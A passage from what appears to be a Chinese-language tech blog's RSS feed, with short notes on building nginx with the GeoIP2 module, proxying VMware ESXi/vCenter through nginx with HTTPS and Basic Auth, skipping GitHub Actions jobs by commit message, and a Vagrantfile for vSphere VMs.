&lt;li>&lt;a href="https://www.cnblogs.com/faberbeta/p/nginx_geoip2.html" target="_blank" rel="noopener">2020 年，最新 NGINX 的 ngx_http_geoip2 模块以精准禁止特定国家或者地区 IP 访问&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.cnblogs.com/baxiqiuxing/p/12376879.html" target="_blank" rel="noopener">centos7 下 安装 GeoIP2，在 nginx 中根据 ip 地址对应的国家转发请求&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="安装-geoip2-lib">安装 geoip2 lib&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>cd /usr/local/src
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm -f libmaxminddb-1.4.2.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget https://github.com/maxmind/libmaxminddb/releases/download/1.4.2/libmaxminddb-1.4.2.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar -xzf libmaxminddb-1.4.2.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd libmaxminddb-1.4.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install gcc gcc-c++ make -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./configure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make check
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo make install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#39;/usr/local/lib&amp;#39;&lt;/span> &amp;gt; /etc/ld.so.conf.d/geoip.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo ldconfig
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="下载-ngx_http_geoip2_module-模块">下载 ngx_http_geoip2_module 模块&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>cd /usr/local/src
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget https://github.com/leev/ngx_http_geoip2_module/archive/3.3.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar -xzf 3.3.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mv ngx_http_geoip2_module-3.3 ngx_http_geoip2_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># nginx集成&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd /usr/local/src
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget http://nginx.org/download/nginx-1.16.1.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar -zxf nginx-1.16.1.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd nginx-1.16.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>useradd -M -s /sbin/nologin www
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install gcc gcc-c++ make pcre-devel zlib-devel openssl-devel -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./configure --user&lt;span style="color:#f92672">=&lt;/span>www --group&lt;span style="color:#f92672">=&lt;/span>www --prefix&lt;span style="color:#f92672">=&lt;/span>/usr/local/nginx &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--with-ld-opt&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;-Wl,-rpath -Wl,/usr/local/lib&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--with-http_sub_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--with-http_realip_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--with-http_gzip_static_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--with-http_ssl_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--with-http_v2_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--add-module&lt;span style="color:#f92672">=&lt;/span>/usr/local/src/ngx_http_geoip2_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make install
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="geoip2-ip-地址库下载">geoip2 IP 地址库下载&lt;/h5>
&lt;p>2020 年最新 GeoLite2-City.mmdb 无法直接下载，必须注册 maxmind 账号&lt;/p></description></item><item><title>使用 Nginx HTTPS 與 Basic Auth 反向代理 VMware ESXi 6.5 修復 VMRC /screen</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201017-38e044411a02530ec3481078fe2d81d8/</link><pubDate>Sat, 17 Oct 2020 12:31:02 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201017-38e044411a02530ec3481078fe2d81d8/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://gist.github.com/dbrownidau/38e044411a02530ec3481078fe2d81d8" target="_blank" rel="noopener">使用 Nginx HTTPS 與 Basic Auth 反向代理 VMware ESXi 6.5 修復 VMRC /screen&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">esxi.hackion.com&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">301&lt;/span> &lt;span style="color:#e6db74">https://&lt;/span>$server_name$request_uri;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">443&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">esxi.hackion.com&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate&lt;/span> &lt;span style="color:#e6db74">/mycert.crt&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate_key&lt;/span> &lt;span style="color:#e6db74">/mykey.key&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">auth_basic&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Restricted&lt;/span> &lt;span style="color:#e6db74">Content&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">auth_basic_user_file&lt;/span> &lt;span style="color:#e6db74">/etc/nginx/.htpasswd&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Upgrade&lt;/span> $http_upgrade;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">X-Forwarded-For&lt;/span> $proxy_add_x_forwarded_for;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Host&lt;/span> $host;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">X-Real-IP&lt;/span> $remote_addr;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Origin&lt;/span> &lt;span style="color:#e6db74">&amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Authorization&lt;/span> &lt;span style="color:#e6db74">&amp;#39;&amp;#39;&lt;/span>; &lt;span style="color:#75715e">#Don&amp;#39;t pass the Nginx Basic Auth to ESXi or it will break VMRC.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">proxy_pass_header&lt;/span> &lt;span style="color:#e6db74">X-XSRF-TOKEN&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_pass&lt;/span> &lt;span style="color:#e6db74">https://esxi_server&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_send_timeout&lt;/span> &lt;span style="color:#ae81ff">300&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_read_timeout&lt;/span> &lt;span style="color:#ae81ff">300&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">send_timeout&lt;/span> &lt;span style="color:#ae81ff">300&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">client_max_body_size&lt;/span> &lt;span style="color:#ae81ff">1000m&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># enables WS support
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">proxy_http_version&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#e6db74">.1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Upgrade&lt;/span> $http_upgrade;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Connection&lt;/span> &lt;span style="color:#e6db74">&amp;#34;upgrade&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">443&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span> &lt;span style="color:#e6db74">http2&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># ssl_certificate and ssl_certificate_key are required
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">ssl_certificate&lt;/span> &lt;span style="color:#e6db74">/etc/letsencrypt/live/myletsencryptdomain/fullchain.pem&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate_key&lt;/span> &lt;span style="color:#e6db74">/etc/letsencrypt/live/myletsencryptdomain/privkey.pem&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">include&lt;/span> &lt;span style="color:#e6db74">/etc/nginx/snippets/ssl-params.conf&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># removed DH params as my ssl-params.conf specifies to only use ECDHE key exchange.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">fqdn.extern&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Host&lt;/span> $http_host;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">X-Real-IP&lt;/span> $remote_addr;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_ssl_verify&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>; &lt;span style="color:#75715e"># No need on isolated LAN
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">proxy_pass&lt;/span> &lt;span style="color:#e6db74">https://vcenter.ip&lt;/span>; &lt;span style="color:#75715e"># esxi IP Address
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_http_version&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#e6db74">.1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Upgrade&lt;/span> $http_upgrade;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Connection&lt;/span> &lt;span style="color:#e6db74">&amp;#34;upgrade&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_buffering&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">client_max_body_size&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_read_timeout&lt;/span> &lt;span style="color:#e6db74">36000s&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_redirect&lt;/span> &lt;span style="color:#e6db74">https://fqdn.local/&lt;/span> &lt;span style="color:#e6db74">https://fqdn.extern/&lt;/span>; &lt;span style="color:#75715e"># read comment below
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e"># replace vcenter-hostname with your actual vcenter&amp;#39;s hostname, and esxi with your nginx&amp;#39;s server_name.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/websso/SAML2&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Host&lt;/span> &lt;span style="color:#e6db74">fqdn.local&lt;/span>; &lt;span style="color:#75715e"># your actual vcenter&amp;#39;s hostname
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">X-Real-IP&lt;/span> $remote_addr;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_ssl_verify&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>; &lt;span style="color:#75715e"># No need on isolated LAN
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">proxy_pass&lt;/span> &lt;span style="color:#e6db74">https://vcenter.ip&lt;/span>; &lt;span style="color:#75715e"># esxi IP Address
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_http_version&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#e6db74">.1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Upgrade&lt;/span> $http_upgrade;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_set_header&lt;/span> &lt;span style="color:#e6db74">Connection&lt;/span> &lt;span style="color:#e6db74">&amp;#34;upgrade&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_buffering&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">client_max_body_size&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_read_timeout&lt;/span> &lt;span style="color:#e6db74">36000s&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_ssl_session_reuse&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_redirect&lt;/span> &lt;span style="color:#e6db74">https://fqdn.local/&lt;/span> &lt;span style="color:#e6db74">https://fqdn.extern/&lt;/span>; &lt;span style="color:#75715e"># read comment below
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e"># replace vcenter-hostname with your actual vcenter&amp;#39;s hostname, and esxi with your nginx&amp;#39;s server_name.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>針對特定 Commit Message 觸發 GitHub Actions</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201011-running-github-actions-for-certain-commit-messages/</link><pubDate>Sun, 11 Oct 2020 23:13:22 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201011-running-github-actions-for-certain-commit-messages/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ryangjchandler.co.uk/articles/running-github-actions-for-certain-commit-messages" target="_blank" rel="noopener">針對特定 Commit Message 觸發 GitHub Actions&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>現在，只要我推送 &lt;code>wip&lt;/code> commit 或任何包含 &lt;code>wip&lt;/code> 的 commit，就會在 GitHub Actions 中被標記為跳過。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">jobs&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">format&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">runs-on&lt;/span>: &lt;span style="color:#ae81ff">ubuntu-latest&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;! contains(github.event.head_commit.message, &amp;#39;wip&amp;#39;)&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>任何包含 &lt;code>[build]&lt;/code> 的 commit 會觸發這些工作，其他則會被跳過。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">jobs&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">format&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">runs-on&lt;/span>: &lt;span style="color:#ae81ff">ubuntu-latest&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;contains(github.event.head_commit.message, &amp;#39;[build]&amp;#39;)&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>使用 Vagrant 在 vSphere 部署多台 VM</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201005-using-vagrant-to-deploy-multiple-vms-on-vsphere/</link><pubDate>Mon, 05 Oct 2020 09:53:03 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201005-using-vagrant-to-deploy-multiple-vms-on-vsphere/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://buildvirtual.net/using-vagrant-to-deploy-multiple-vms-on-vsphere/" target="_blank" rel="noopener">使用 Vagrant 在 vSphere 部署多台 VM&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>vm1 &lt;span style="color:#f92672">=&lt;/span> { &lt;span style="color:#e6db74">&amp;#39;name&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;PhotonVM1&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;ip&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;192.168.5.224&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vm2 &lt;span style="color:#f92672">=&lt;/span> { &lt;span style="color:#e6db74">&amp;#39;name&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;PhotonVM2&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;ip&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;192.168.5.225&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vms &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">[&lt;/span> vm1, vm2&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>configure(&lt;span style="color:#ae81ff">2&lt;/span>) &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vms&lt;span style="color:#f92672">.&lt;/span>each &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>node&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vm_name &lt;span style="color:#f92672">=&lt;/span> node&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#39;name&amp;#39;&lt;/span>&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vm_ip &lt;span style="color:#f92672">=&lt;/span> node&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#39;ip&amp;#39;&lt;/span>&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>define vm_name &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>node_config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node_config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>network &lt;span style="color:#e6db74">&amp;#39;private_network&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">ip&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>vm_ip&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node_config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;dummy&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node_config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box_url &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;./example_box/dummy.box&amp;#34;&lt;/span>
